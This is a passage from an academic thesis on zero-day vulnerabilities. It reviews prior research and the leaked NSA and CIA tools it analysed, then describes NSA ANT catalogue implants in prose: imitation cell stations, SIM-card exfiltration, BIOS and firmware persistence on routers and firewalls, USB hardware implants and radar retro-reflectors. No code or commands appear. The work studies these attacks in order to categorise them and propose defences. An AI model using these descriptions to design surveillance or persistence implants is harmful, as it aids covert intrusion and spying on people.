Risk management in the form of assessing and mitigating risk.
Managing security at every stage of the information system life cycle from acquisition
to disposal.
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Staﬀ should be screened before being hired, positions should be designed and accounts
should be managed to support the security objectives.
Security awareness training to address the human element.
Maintaining physical and environmental security through access control, preventing
ﬁre, ﬂood, collapse, etc.
Business continuity planning and testing to allow for recovery from disasters.
Incident response team allows for a rapid, eﬀective response to incidents.
Support and operation tasks need to consider and cater for security.
Access control to determine who can do what through the use of ACLs, encryption,
ﬁrewalls, etc.
Identiﬁcation, where the user claims an identity, and authentication, where the claim
is veriﬁed, form the basis of most access control systems.
Enabling auditing to ensure accountability, detect intrusion, etc. by means of collecting
and maintaining audit trails.
Using cryptography to maintain conﬁdentiality, integrity and conﬁrm identity through
the use of standards, key management, etc.
2.3 Research Around Zero-Day Vulnerabilities
The third section of this literature review details how zero-days vulnerabilities are dis-
covered and developed and by whom. It looks at exploits developed for vulnerabilities.
Lastly it also examines existing work on categorising these vulnerabilities and exploits.
2.3.1 Players in Finding and Exploiting Vulnerabilities
There are numerous groups of people who research zero-day vulnerabilities and the exploits
for them. These include private industry, academic researchers, government and criminals.
Gostev (2012) deﬁnes three categories of cyber attackers who can exploit zero-days for
spreading or executing their malware, namely cybercriminals, hacktivists or nation states.
Google Project Zero was announced by Evans (2014a) on 14 July 2014. It entailed hiring
security researchers who could dedicate their time to security research. The types of
research undertaken by the project encompasses analysis of programs, exploitation and
mitigation as well as anything else deemed useful. Findings are posted to a blog where
they detail recent bugs and exploits that have been discovered and reported to vendors
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Table 2.3: Project Zero blog posts per year
Year Posts
2014 11
2015 33
2016 17
2017 19
2018 22
and manufacturers who have ﬁxed them. Table 2.3 shows the number of posts per year
by Project Zero.
Governments maintain stockpiles of exploits for vulnerabilities as show by the National
Security Agency (NSA) and Central Intelligence Agency (CIA) leaks. In the CIA's list of
exploits, Attler (2015) was the last editor of the page that included the type of and the
access granted by the exploit.
According to Gibney (2016) Nitro Zeus was a US plan to take down Iran in the event
of war that entailed shutting down civilian systems, e.g., the power grid as well as the
transport, communication and ﬁnancial systems. An air-gapped network was not suﬃcient
to protect the nuclear centrifuge control systems from being infected.
2.3.2 How are Vulnerabilities Found
Methods for ﬁnding vulnerabilities and the implications thereof are also mentioned in the
Project Zero write-ups. Beer (2014) states that a good way to ﬁnd new bugs quickly
is to look at existing ones. These new bugs may occur as variations of the original
bug or because the patch for the original bug only addressed symptoms rather than the
underlying cause.
Jurczyk (2017) states that binary diﬃng is a common practice to work out what vulner-
ability was ﬁxed in a patch. The author also highlights that it can be used to compare
diﬀerent versions of the same product. This can reveal that some products that no longer
receive patches, e.g., Windows 7 whose mainstream support ended in January 201517,
have vulnerabilities that have been ﬁxed by patches to newer versions of the product.
2.3.3 Existing Categorization Eﬀorts
Some individual categorization of vulnerabilities has taken place in the form of identifying
the class(es) to which bugs in a certain product belong. Other eﬀorts include categorisa-
17https://support.microsoft.com/en-us/lifecycle/search/?c2=14019
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tion in vulnerability databases and grouping of exploits.
Newly discovered security ﬂaws resulting in vulnerabilities, are often found to be new
examples of existing bug categories. For example, Evans (2014b) writes that ﬁve bugs
that they had found some months earlier in MacOS X and which had subsequently been
patched by Apple, were of types which included heap corruption, integer underﬂow and
null pointer deference. In this post Evans (2014b) also provided a link18 to all of their
project's publicly visible bugs. As of 28 January 2018, there were 1282 bugs with statuses
of ﬁxed, duplicate, will not ﬁx and invalid; by 20 December this had increased to 1746.
While the textual bug descriptions often contain the type of bug, the bugs did not have
speciﬁc type ﬁelds or labels to allow for sorting, selecting or other processing by bug type.
A further example of newly discovered vulnerabilities belonging to existing categories or
types of vulnerabilities is provided by Fratric et al. (2017) who provided a breakdown of
the types of vulnerabilities they found during their investigation of Microsoft's jscript.dll.
The seven vulnerabilities found using fuzzing and manual analysis were classed variously
as either use-after-free, heap overﬂows, uninitialized variables or out-of-bounds reads.
There are numerous academic researchers who are discovering new vulnerabilities. These
academics also categorise existing defences, e.g., Gruss et al. (2017) organise row hammer
defences into categories.
IC Oﬀ the Record (2013) has divided the United States NSA's ANT catalogue into 11
categories. These are mobile networks and phones, routers, ﬁrewalls and wireless networks,
computers and servers, room surveillance as well as USB, monitors and keyboards. It does
not provide any other groupings or analysis of the exploits.
There is a database of CVE which was started and opened by MITRE.Worldwide there are
numerous CVE Numbering Authorities that assign CVE IDs according to Mitre (2018a).
The vulnerabilities in the CVE database have been made available in the following cate-
gories by Özkan (2018): denial of service, code execution, overﬂow, memory corruption,
SQL injection, cross-site scripting, traversing directories, HTTP response splitting, by-
passing of controls, gaining information or privileges and cross-site request forgery.
Schneier (2014) wrote a series of blog posts named `NSA Exploit of the Day' each of which
detailed an exploit from the NSA's ANT catalogue. The author states that his motivation
for running the series on the NSA exploits was to get people thinking about them and
ﬁguring out how to defend against the techniques used as these would likely be used by
18https://bugs.chromium.org/p/project-zero/issues/list?can=1&num=100&start=0
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criminals in the future. Schneier (2014) states that many of the individual exploits from
the ANT Catalogue had not received coverage from the security community. Therefore,
he published an exploit per day requesting his readers to comment on how it functions,
detection methods, how it might have evolved and so on. The published exploits of the
day did have some tags, e.g., BIOS, hardware and rootkits, phones, geolocation, etc.,
which could be used to categorize this store of exploits for zero-day vulnerabilities.
The comments for each of the exploit-of-the-day require review and analysis to determine
if they suggest viable detection and/or prevention methods.
2.3.4 Preventing Zero Days
There are many classes of attacks, some of which have had protections developed for
them. One such class of attacks for which a defence has been developed is buﬀer overﬂow
attacks. According to Cowan et al. (1998) while it is a simple matter to patch individual
buﬀer overﬂows, the scale of the problem is large. The authors introduce StackGuard, a
compiler extension that protects against buﬀer overﬂow attacks by causing programs to
enter a fail-safe state instead of yielding control to the attacker.
However, Richarte (2002) states that this is not a perfect defence because originally the
stack protection only protected the return address from being overwritten while leaving
the saved frame pointer vulnerable. The authors describe various attacks that can bypass
the protections and solutions to some of these problems. They conclude that while not
a complete solution to the problem of buﬀer overﬂows, stack protection does reduce the
possibility of successfully exploiting them.
Auditing code before it gets shipped and deployed provides a method of preventing many
zero-day vulnerabilities from entering production. However, due to the volume of code
being written, this process needs to be automated while generating as few false positives
as possible. To achieve this outcome, Perl et al. (2015) present VCCFinder which checks
code commits for vulnerabilities using both code metrics and metadata from the source
code repository.
Li et al. (2018) state that while low false positive rates are important for usability, they
are not the only consideration and the false negative rate also needs to be low for the tool
to be useful, i.e. not missing vulnerabilities. They present VulDeePecker which uses deep
learning and code gadgets that comprised of lines of codes to achieve low false positive
and negative rates with the possibility of being able to detect zero-day vulnerabilities.
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Software vulnerabilities can also be predicted with Shin et al. (2011) writing that the ﬁles
containing vulnerabilities can be predicted by using the three metrics of code complexity,
churn and developer activity.
While modifying programs to not be vulnerable is one approach, another is to change the
environment, e.g., the OS to mitigate against attacks.
Linux Kernel Runtime Guard, announced by Peslyak (2018), is a loadable kernel module
that performs integrity checks of the running kernel and detects exploits against it. The
author states that it can likely detect future exploits that do not speciﬁcally bypass it.
Those attacks that seek to avoid it will incur penalties in the form of added complexity
and/or reduced reliability of their exploit.
2.3.5 Summary
This chapter covered most of the technical background needed to understand the attacks
described in the later chapters. It also provided an introduction to the principles of
information security to provide context for the attacks and suggested defences. Lastly, it
discussed existing research into zero-day vulnerabilities.
The next chapter gives an overview of the research process undertaken.
Chapter 3
Research Methodology
Vulnerabilities lead to development of exploits by threat actors. These exploits can be
examined to identify where vulnerabilities exist and sometimes how and why the vulner-
ability is exploitable. In some instances it is possible to determine the root cause of the
vulnerabilities, e.g., a bad design decision. This chapter details the steps taken in ﬁnding
relevant information on zero-days and how this is subsequently used.
3.1 Steps in Research of Zero-Day Material
The ﬁrst step entailed identifying relevant literature sources of zero-days; each area of
material was then subjected to analysis to identify vulnerabilities, exploits and attacker
techniques. The analysis consisted of critical reading bearing in mind opportunities to
cross-reference, conﬁrm or negate questions, identify authenticity and detect patterns of
exploitation, vulnerabilities and methods.
After having downloaded the ﬁles for the Equation Group Leak (binary and documenta-
tion ﬁles), the Vault 7 (Content Management System) and the Vault 8 (Git Source Code
repository) releases, the analysis was started. It began by identifying the richer sources
by searching, scanning and skimming ﬁles and removing older versions of ﬁles, pages,
tools where they did not add value. Searching based on ﬁle content was performed using
the pdfgrep and rgrep (recursive grep) command-line utilities while searching based on
ﬁlename was performed using the ﬁnd command. Older versions of the Vault 7 ﬁles were
identiﬁed as they contained links to the "Latest version" which could be searched for to
identify and move these ﬁles. This was an iterative process as shown in the ﬂow chart in
Figure 3.1.
Following the initial screening process the identiﬁed ﬁles of interest, e.g., documentation,
binary ﬁles, repositories, and so on, were examined for meta-data with the use of the
exiftool and various git commands. Binary ﬁles for which the source code was not available
were disassembled using the radare2 reverse engineering framework as shown in Figure
3.2.
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The identiﬁed human readable content was then analysed as per Figure 3.3. This entailed
reading both exploit tool user guides to identify vulnerabilities, exploits and the methods
of employing these to breach system security and development documentation for exploit
tools to understand how such tools are developed providing insight into what bad actors
are willing and capable of doing. Similarly, notes from operations to gain unauthorised
access to information systems were read to understand how and in what combinations the
exploit tools are employed and to gain insight into the operational practices and tactics
of attackers.
The body of material was searched (again with rgrep, ﬁnd and pdfgrep, strings, awk,
etc. ) for other references to terms and names discovered from the above processes, which
initiated further reading and analysis of the referencing documents and tools to provide
additional insight into the exploit and its use amongst others. Additional sources of
content included the documentation on (wiki) intranet pages, source code, comments and
commit messages, which show which programming and scripting languages are used and
what techniques are employed. The reading of research reports commissioned or created
by the attackers provided information on what avenues of attack they are considering
pursuing.
After completing this substantial information ﬁnding phase, the attacker methods, ex-
ploits, vulnerabilities and their potentials root causes were documented in a generalised,
non-implementation speciﬁc manner (see Chapter 4). Potential defences and mitigations
for these generalised attacks and weak points were then compiled (see Chapter 5).
3.2 Sources of Zero Days
Before embarking on this research we needed to identify sources of zero-day vulnerabili-
ties that have been targeted through the development of exploits and the use of the latter
to intrude into information systems. In the last few years there have been a number of
leaks consisting of documentation and tools (including exploits) which include descrip-
tions of how they were developed, function and were used to gain unauthorised access to
information systems.
These leaks revealed the tools and techniques used by intelligence agencies to exploit
the vulnerabilities. Whereas security researchers would practice responsible disclosure
allowing for vendors to develop and their customers to apply patches, intelligence agencies
kept their ﬁnds secret while exploiting them. This allows for assessing the real world
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impact of zero-days due to utilisation by attackers and consideration of what mitigation
tactics, if these had been in place at the time of attacks, would have prevented them.
These leaked data sources are described in Chapter 4 as well Appendices B, C, D, E, F
and G.
The NSA ANT Catalog represents a novel collection of 50 mostly hardware based exploits
(IC Oﬀ the Record, 2013). These exploits cover numerous areas, e.g., cellular networks,
computers and networking equipment, thereby providing a useful cross section of what is
possible.
Oddjob is a simple software based beacon implant (Jones et al., 2012). Due to its small
payload size it was feasible to reverse engineer some of these payloads to understand what
function they serve and how they were implemented as demonstrated in Section 4.2.1.
Trick or Treat is a collection of ﬁles1 showing compromises of Internet facing Unix systems
using zero-day exploit tools that are described in Section 4.2.2. It represents an example
of an attacker project to create a launch pad for their attacks by compromising systems
belonging to third parties unrelated to themselves or their intended victims. This launch
pad is used in the case studies and is therefore broken out into Appendix B.
The Unix Network Penetration in Section 4.2.3 shows that attackers are able to compro-
mise Unix computer systems with the secret tools and procedures that they have created
to do so (NSA, 2008). Many organisations, e.g., Mobile Network Operators (MNOs), use
such systems resulting in attackers having access to call and associated data.
The numerous, hitherto unknown CIA Hacking techniques and tools were revealed as part
of the Vault 7 (WikiLeaks, 2017) and Vault 8 (WikiLeaks, 2018) releases. These provide
insight into attacker development methods and the resultant tools. This sheds light on
the attacker's mindset and approach to compromising information security.
NSA Quantum is a collection of man-on-the-side network based attacks (NSA, n.d.).
These are of interest due to their unusual nature that constitutes a novel attack type and
as they are used in the case study in Chapter 7, are expanded upon in Appendix D.
Oracle databases are enterprise class databases used in multiple industries. As databases
contain data they are rich targets for attackers seeking to gain information (Barnes and
Director, 2011). The Equation Group Leaks include a directory containing a number of
1https://github.com/adamcaudill/EquationGroupLeak/tree/master/trickortreat
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ﬁles for gaining access to and extracting information from Oracle databases2. These tools
provide insight into how attackers can survey and extract data from databases, e.g., as
performed during the SWIFT network intrusion and are thus explained in Appendix E.
The analysis of the attacker tools and techniques described in Chapter 4 and the above
mentioned appendices, yielded various types or classes of attacker approaches and tech-
niques which were written up in Chapter 5. Defences against the generic attack types are
suggested in Chapter 6 before being employed in Chapter 7.
The SWIFT Network Penetration in Chapter 7 provides a case study of the intrusion
into the Windows server based network belonging to a ﬁnancial services company (NSA,
2013c). It explains how the attackers penetrated and then moved laterally within the
network, establishing a beachhead, mapping out the network, before searching for and
extracting the targeted ﬁnancial information. Some defences proposed in Chapter 6 are
considered to see if they might have stopped the attack.
3.3 Summary
This chapter gave an overview of the steps taken in ﬁnding and consolidating informa-
tion on zero-days exploits. The next chapter provides an analysis of the sources which
informs the two subsequent chapters which document the attack and defence techniques,
respectively.
2https://github.com/adamcaudill/EquationGroupLeak/tree/master/Linux/etc/oracle
Chapter 4
Analysis of Sources
This chapter contains an analysis of the selected data sources. Attacks are described in
a manner that allows for the attack to be both understood and for the key method(s)
employed to be discussed. Additional data sources that are dependencies of the attacks are
explored in the appendices and referenced accordingly. The attacker methods, techniques
and approaches used in the attacks described in this chapter, are discussed in Chapter 5.
4.1 NSA ANT Catalogue
The NSA's Tailored Operation Unit (TAO) had 50 pages of their ANT catalogue released.
As each page described the implementation of a technique, this aﬀords us insight into
50 of the techniques and implementations they used to surveil people. This section is
broken down into ten subsections from cellular phone networks and phones, to routers
and ﬁrewalls, wireless networking, through servers and computers, USB and networking
ports, monitors and keyboards, before concluding with room surveillance.
To facilitate understanding and categorisation of the attack approaches and techniques
employed in these implementations, each implementation was described in its own para-
graph and a table was created in each of the ten subsections to compare and contrast the
implementations. This aided in identifying commonalities for the syntheses of categories
for the attack approaches and techniques presented in Chapter 5, for example, overcoming
air gaps in Subsection 5.5.1, interception in Section 5.6, location ﬁnding in Section 5.7
and gaining persistence in Section 5.8.
4.1.1 Cellular Phone Networks
Cellular phone networks are a pervasive feature of modern day economies. They serve
to connect people's cellular phones for voice and data traﬃc. Various tools have been
created to imitate and/or monitor cellular phones. These devices and their capabilities
are described below and compared in Table 4.1.
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Table 4.1: Cellular network tools
Name GSM UMTS CDMA
2000
NIB Base
Sta-
tion
Sur-
veil-
lance
Loca-
tion
Imita-
tion
Hard-
ware
USD
Cost
Candygram * * * * * 40k
Typhon-HX * * * * * * * 175.8k
Cyclone-Hx9 * * * * * 70k
Nebula * * * * * * * 250k
EBSR * * * * * 40k
Entourage * * * * 70k
Waterwitch * * * * * un-
known
Genesis * * * 15k
Crossbeam * * 4k
One method of monitoring handset locations described by NSA (2008a) under the code
name CandyGram, is to set up an imitation GSM cell that monitors for a list of target
handset phone numbers to enter its area of operation and then sends an alert via Short
Message Service (SMS) when one of them does so, i.e. providing tripwire functionality.
By creating a Network In a Box (NIB) such as Typhon-HX, it is possible to "ﬁnd, ﬁx
and ﬁnish" people by locating their handsets when these register with the unit (NSA,
2008n). The NIB provides a macro sized cell via a Base Transceiver Station and a core
network consisting of a Mobile Switching Center (MSC), Visitor Location Register, Gate-
way Mobile Switching Centre, Home Location Register, Serving GPRS Support Node and
Gateway GPRS Support Node which means that it can process calls and handle SMS.
Another implementation of the NIB concept is the Cyclone-Hx9 system by NSA (b). Like
the Typhon system it is a macro class Base Transceiver Station with +43dBm giving it
a 32km range. It uses the Typhon GUI and supports all the features and applications of
Typhon.
GSM is not the only networking technology to be exploited using the NIB technique.
The Nebula implementation oﬀers macro cell power and range for GSM, UMTS and
CDMA2000 (with Long-Term Evolution under development) while retaining the Typhon
GUI (NSA, 2009e). Multiple units can be connected via 802.3 and 802.11 back-haul links
to form a network of cells.
For situations where geographically smaller deployments are required EBSR, a pico class
(1Watt) GSM base station oﬀers a pico cell (NSA, 2009a). It supports CandyGram /
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LandShark functionality. Multiple units can be connected via 802.3 or 802.11 back-haul
links to form a network of cells.
The Entourage application can use the HollowPoint system consisting of four SDRs to
determine the bearing (direction) of a handset in relation to the device (NSA, 2009b).
Another implementation for locating handsets with the use of SDR is WaterWitch by
NSA (2008o). A directional antenna allows for determining the direction of the handset.
Through modiﬁcation of a GSM handset to include a SDR and additional Random Access
Memory (RAM) the NSA (2009c) created Genesis which is able to survey networks, locate
handsets and record RF spectrum.
It is possible to collect, compress and transmit GSM voice data using a tool such as
CrossBeam (NSA, 2008e). The technology suite has computer, phone, software and (op-
tional) Digital Signal Processor components.
4.1.2 Mobile Phones
Table 4.2: Mobile phone tools
Name Tech-
nology
SIM
tool-
kit
Mobile
OS
OTA
in-
stall
SMS Sur-
veil-
lance
Exﬁl-
tration
Hard-
ware
Soft-
ware
USD
Cost
Dropout
Jeep
iOS * * 0
Tote
Ghostly
Win-
dows
* * * * 0
Tote
Chaser
Sate-
lite
Win-
dows
* Mod * un-
known
GopherSet GSM * * * * * 0
Monkey
Calendar
GSM * * * * * 0
Picasso GSM * * * 2k
Mobile phones constitute a rich source of data for attackers. These devices typically
contain contact data, login details for web based services, payment information, location
information and personal information such as chat logs and photos. They can also provide
functionality such as audio and camera capture. Six exploits are described below and are
compared in Table 4.2.
To target iPhones, the NSA (2008h) was developing the StraighBizarre implant, DropoutJeep.
Functionality was to include remote uploading and downloading for ﬁles from the device,
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accessing SMS, contacts, voicemail, location as well as capturing from the microphone or
camera. The initial release required physical access to install but remote access installa-
tion was planned.
In order to conduct surveillance of devices running the Windows Mobile OS, ToteGhostly
was under development by NSA (2008l). The software implant can push and pull ﬁles
from the device, retrieve SMS, contacts, voicemail and location as well as make use of
the camera and microphone. Data can be exﬁltrated over SMS or General Packet Radio
Service. As part of the FreeFlow project it supported the Turbulance architecture.
Encrypted communications are supported. Installation required physical access to the
device with remote installation being pursued.
Not only mobile phone handsets but also the Subscriber Identity Module (SIM) cards
can be targeted. GopherSet by NSA (2008m) uses the SIM Toolkit (STK) Application
Programming Interface (API) to read contact, call and SMS data and then send these to
a pre-deﬁned number via SMS. GopherSet can be loaded onto a SIM by a Smart Card
reader or Over the Air if the service provider's security conﬁguration allows.
Another such tool targeting the SIM is MonkeyCalendar also by NSA (2008w). It also
uses the STK API however its purpose is to gain geo-location data from the handset and
send that via SMS.
Satellite phones can also be targeted, e.g., using ToteChaser by NSA (2008k) which is a
Windows CE implant for Thuraya dual mode (Satellite and GSM) phones. GSM location
via Location Area Code (LAC), Mobile Country Code, Mobile Network Code and timing,
and GPS information as well as call, contact and other user data can be sent via SMS
from modiﬁed handsets.
Mobile phone handsets can also be physically modiﬁed to collect and exﬁltrate informa-
tion. One such project is Picasso by NSA (2008b), which collects room audio, user and
location data as well as providing data exﬁltration via SMS. Data includes incoming and
outgoing call numbers, International Mobile Subscriber Identity (IMSI) and phone num-
ber, PINs and cellular network information such as LAC, Temporary Mobile Subscriber
Identity, network registrations and authentications.
4.1.3 Routers
Routers are responsible for routing packets between diﬀerent networks, e.g., between WAN
and LAN. They are used for core and edge networking by enterprises and service providers,
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Table 4.3: Router exploits
Name OEM Model Location Technique USD Cost
SchoolMontana Juniper J-series BIOS SMM Unknown
SierraMontana Juniper M-series BIOS SMM Unknown
StuccoMontana Juniper T-series BIOS SMM Unknown
HeadWater Huawei Boot ROM Unknown
e.g., Telecom companies and Internet Service Provider (ISP)s. The router exploits are
described below and compared to each other in Table 4.3.
To exploit three series of Juniper routers, three techniques were developed: for the J-
series, SchoolMontana (NSA, 2008d), for the M-series, SierraMontana (NSA, 2008e), and
lastly, for the T-series routers, StuccoMontana (NSA, 2008i). All three techniques entail
modifying the device's BIOS to exploit the SMM handler to run the implant. The implant
serves to allow implants, e.g., Validator, to survive compact ﬂash replacement and OS
upgrade or re-installation.
Non-US routers in the form of Huawei are targeted by the HeadWater implant (NSA,
2008p). This implant in installed in the boot Read Only Memory (ROM) and oﬀers a
Persistent Backdoor (PBD) allowing the router to be controlled remotely in secret. The
PBD can then capture and examine packets passing through the router.
4.1.4 Firewalls
Firewalls serve as gatekeepers on networks and connect network segments of diﬀering trust
and/or privilege levels, e.g., separating an oﬃce LAN from the Internet. Four exploits for
ﬁrewall appliances are described below and compared in Table 4.4.
In order to maintain persistence on Cisco Adaptive Security Appliance (ASA) and PIX
ﬁrewalls, the NSA (2008t) created a ﬁrmware implant named JetPlow. It modiﬁes the OS
running on the ﬁrewall device and persists the BananaGlee software implant if supported,
otherwise it has the capability to install a PBD for later use. It also serves as a means to
exﬁltrate data from the network.
Cisco ﬁrewalls were not the only US manufacturer targeted with multiple exploits devel-
oped for Juniper ﬁrewalls. Similar to the JetPlow implant for Cisco ﬁrewalls, SouffleTrough
by the NSA (2008g) is a ﬁrmware implant. It is written to the BIOS of the device and
makes use of Intel's SMM to increase its dependability and concealment. It oﬀers a PBD
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Table 4.4: Firewall appliance exploits
Name OEM Location Firmware USD Cost
JetPlow Cisco * 0
SoueTrough Juniper BIOS * 0
GourmetTrough Juniper * 0
FeedThrough Netscreen
(Juniper)
* unknown
HalluxWater Huawei Boot ROM * 0
and adds persistence for the BananaGlee software implant while providing a path for
communications with which to exﬁltrate data and beacon home.
A second implant for Juniper ﬁrewalls is GourmetTrough by the NSA (2008n). It oﬀers
beaconing, a PBD and allows the BananaGlee software implant to persist across both
reboots and OS upgrades.
To target the Netscreen ﬁrewalls acquired by Juniper, the FeedThrough implant by
the NSA (2008i) runs every time the device boots. It allows for the software implants
ZestyLeak and BananaGlee to persist reboots and OS upgrades.
Firewalls manufactured by non US companies were also targeted as per NSA (2008o).
Huawei Eudemon ﬁrewalls were comprised with the HalluxWater implant into the device's
boot ROM which creates a PBD via the TurboPanda insert tool aka PIT. The implant
survives both OS and automatic boot ROM upgrades as it installs when the device reboots.
4.1.5 Wireless Networking
Table 4.5: Wireless LAN exploits
Name Form
factor
Functionality Hardware USD Cost
NightStand Laptop &
antennas
Remote injection * Varies
with con-
ﬁguration
Sparrow-II Embedded Battery powered
Expandable
* 6k
Wireless networking can be both a point of attack and exploitation for attackers or a
method of communicating for controlling implants or gathering data. Two methods are
discussed below and summarised in Table 4.5.
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In order to gain entry into systems where wired access is not available, NightStand was
created by the NSA (2008x). It is a standalone device consisting of a laptop running Linux
combined with external antennas and ampliﬁers to extend the range to 13 km. It was
used to target one or more Windows based computers and could inject wireless network
packets in a manner that was undetectable to the user.
Sparrow-II is an embedded Linux OS computer with small size, weight and power con-
sumption allowing for two hours WLAN collection operation from battery (NSA, 2008h).
It runs the BlindDate set of tools and is expandable with up to four mini-Peripheral
Component Interconnect (PCI) devices to provide additional functionality, e.g., location
via GPS.
4.1.6 Servers
Table 4.6: Server exploit tools
Name OEM Attack
Surface
Technique USD Cost
DeityBounce Dell BIOS SMM 0
IronChef HP BIOS SMM 0
GodSurge Dell Joint Test
Action
Group
(JTAG)
FluxBabbit
hardware
500
Server computer systems are often used to store information in databases and ﬁle stores.
When located in a data centre they tend to run continuously and are at the core of a
network, i.e., behind the perimeter security measures. This makes them an attractive
target for harvesting data or gaining persistence on a network. Three server exploits are
described below and compared in Table 4.6.
To obtain persistence on servers the NSA (2008g) created DeityBounce, which is installed
in the BIOS of Dell servers remotely or via USB. It utilises SMM to execute during the
loading of the OS.
Another method of gaining persistence on Dell servers was to install the GodSurge software
on the FluxBabbit hardware module (NSA, 2008l). The hardware implant is connected
to the JTAG interface for processors located on the server's motherboard.
These attacks are not limited to Dell servers. In order to target HP servers, the NSA
(2008s) created IronChef, which much like DeityBounce, is installed in the BIOS and uses
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SMM. However, it is capable of bidirectional communication over RF, e.g., GSM via a
hardware implant.
4.1.7 Computers
Computers represent rich targets for those who wish to access information as they are
used for creating, modifying, storing and transmitting data. Nine exploits for computers
are described (see Table 4.7 for a comparative listing of them).
Persistence for software implants is often gained through the use of hardware implants.
Ginsu provides persistence for the Kongur software implant on systems that have the
BullDozer PCI bus hardware implant installed (NSA, 2008k).
One implant that makes use of existing OS functionality is WistfullToll (NSA, 2008p)
which extracts forensic information from a computer through the use of WMI and reg-
istry extraction. This implant can be run as either a standalone or as a plugin for the
UnitedRake or StraightBizzare frameworks.
Where there is no network connectivity available, a hardware device containing a RF
transceiver such as HowlerMonkey (NSA, 2008q) can be added to a hardware implant.
The HowlerMonkey units are available in a variety of form factors, e.g., FireWalk at 16
mm x 16 mm or SutureSailor at 30.5 mm x 6 mm.
When creating hardware implants various functionality is required. JuniorMint (NSA,
2008u) is one such package that contains an ARM v9 controller @900MHz with 32 MB
internal ﬂash storage (with optional 2 GB ﬂash) and 64 MB of RAM as well as an Field
Programmable Gate Array (FPGA) containing 10752 slices with 128 MB of RAM.
To meet smaller form factor requirements hardware implants can be miniaturised. For
example, the Maestro-II as per NSA (2008v) provides an ARMv7 @66MHz with 4 MB
of ﬂash storage, 8 MB of RAM and an FPGA with half a million gates in a form factor
of 20.8 mm x 10.4 mm.
For even smaller size limitations it is possible to miniaturise further. For example, the
Trinity implant provides an ARMv9 @180MHz with 4 MB of ﬂash storage, 96 MB of
RAM and an FPGA with one million gates in a form factor of 12.9 mm x 10.6 mm (NSA,
2008m).
One method of exﬁltrating data from an air-gapped computer proposed by NSA (2008f)
under the codename SomberKnave is to surreptitiously use the WLAN card when it is
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Table 4.7: Computer exploit tools
Name Targets Functionality Installation Hardware,
Software,
Firmware
USD
Cost
WistfullToll Windows Registry extrac-
tion, WMI
USB or re-
mote
Software 0
Ginsu Windows Software Persis-
tence via PCI
implant
Software 0
SomberKnave Windows
XP
Routing Software 50k
HowlerMonkey RF transceiver USB or re-
mote
Hardware 750
JuniorMint ARMv9, FPGA,
ﬂash storage, RAM
Hardware Un-
known
Maestro-II ARMv9, FPGA,
ﬂash storage, RAM
Hardware 3-4k
Trinity ARMv9, FPGA,
ﬂash storage, RAM
Hardware 6.25k
IrateMonk HDD
ﬁrmware
Multi OS Firmware 0
Swap BIOS &
HPA
Pre OS Software 0
unused. The Windows XP software implant causes the computer to connect to any
available wireless Access Point (AP) that has Internet connectivity.
The hard drive in a computer presents an area of permanent storage which can be lever-
aged to gain persistence on a computer system. One such implant that targets the
ﬁrmware of a hard drive is IrateMonk by NSA (2008r). It is capable of modifying the
ﬁrmware of Western Digital, Seagate, Maxtor and Samsung hard drives to gain execu-
tion by substituting the Master Boot Record (MBR). It is also a multi-OS implant as it
supports FAT, NTFS, EXT3 and UFS ﬁle-systems.
A related implant is Swap by NSA (2008j), which is written to the Host Protected Area
(HPA) of the hard drive following modiﬁcation of the BIOS. This allows for execution
prior to the OS loading and oﬀers persistence as its payload is an implant installer. It can
target the Windows, Linux, FreeBSD or Solaris OSes with the FAT32, NTFS, EXT2/3
or UFS ﬁle-systems.
4.1. NSA ANT CATALOGUE 41
4.1.8 USB and Network Ports
USB ports and devices are prevalent as they are the most common interface used for
connecting peripherals to computers. Network ports that accept RJ45 connectors are
also extremely common in computers to provide networking functionality. Four exploits
targeting USB and Network Interface Card (NIC) ports and connectors are described
below and compared in Table 4.8.
The ﬁrst implant, CottonMouth-I, was envisaged by the NSA (2008b) to be hidden under
the moulding that bridges the USB connector and the cable of the peripheral. Its intended
function was to load software exploits onto computers and provided a wireless network
bridge. To do this it contains a USB 1.1 hub, switch and an RF transmitter. Of interest
is that it can communicate with other instances of the device using a protocol named
Speculation.
The host computer can be targeted with CottonMouth-II described in NSA (2008c). It
can provide persistence for software implants as well as make use of a separate, long haul,
e.g., GSM, communications link. To enable this it consists of a USB 2.0 hub wired to a
switch. It was intended to provide a link between hardware and software implants.
A second hardware implant aimed at the host computer was CottonMouth-III (NSA,
2008d). Its functionality was to bridge air-gaps and enable secret communications with
software implants as well as enable persistence for software implants. It consists of a
USB 2.0 hub, a switch and an RF transmitter hidden within a dual stack USB and RJ45
connector.
One of the hardware implants named FireWalk by NSA (2008j) is housed within a dual
stack RJ45 / USB port. It can collect gigabit speed Ethernet traﬃc and inject packets
onto the network. It can exﬁltrate data over an RF link provided by HowlerMonkey
supporting a Virtual Private Network (VPN) connection onto the target network that is
otherwise ﬁrewalled or air-gapped.
4.1.9 Monitors and Keyboards
Monitors and keyboards receive and send signals, respectively, to the computer via cables.
These signals can be intercepted and ex-ﬁltrated with the correct hardware. Two exploits
employing retro-reﬂectors are discussed below and compared in Table 4.9.
In order to bug video signals from a target computer and monitor, the NSA (2008c)
created RageMaster, a small RF retro-reﬂector to be inserted into the cable that carries
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Table 4.8: USB and Network Interface Card exploits
Name Type Port or
Connector
Functionality Hardware USD Cost
/ 50
CottonMouth-I USB Connector Air-bridge * 1015k
CottonMouth-II USB Port Air-bridge * 1248k
CottonMouth-III USB &
NIC
Port Air-bridge * 6k
FireWalk USB &
NIC
Port Air-bridge * 537k
Table 4.9: Retro-reﬂector exploits
Name Technique Location Hardware USD Cost
RageMaster Retro-
reﬂector
Monitor * 30
SurlySpawn Retro-
reﬂector
Keyboard * 30
the video signal between the computer and the monitor. This allows for easier collection of
the video signal when performing RF with a radar unit. The bug causes the illuminating
signal to become modulated with the red channel of the video signal, which is reﬂected
to the radar where it can be demodulated, processed and displayed.
With the aim of capturing what is typed on a keyboard, the NSA (2009f) created the
SurlySpawn bug which is compatible with USB and PS2 keyboards. It is also a retro
reﬂector of RF and when it is illuminated with a radar signal, it amplitude modulates
the illuminating signal with that of the square wave which carries the data sent from the
keyboard to the processor during its normal operation.
4.1.10 Room Surveillance
Devices that can be used for surveillance address a number of diﬀerent challenges. These
include locating, recording and extracting before post-processing and viewing or listening
to what was originally recorded. Five such devices are described below and are listed in
Table 4.10 for ease of comparison.
To locate hardware implants for illumination with radar it is useful to have a beacon
such as TawdryYard (NSA, 2009g). The device is an extremely low power (20µW) design
providing it with years of battery life. An RF retro-reﬂector design, it creates a square
wave using a preset frequency which when illuminated by a Continuous Wave (CW) from
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a radar unit results in the now amplitude modulated signal being re-radiated to the radar.
This received signal is then processed to reveal the original signal's frequency conﬁrming
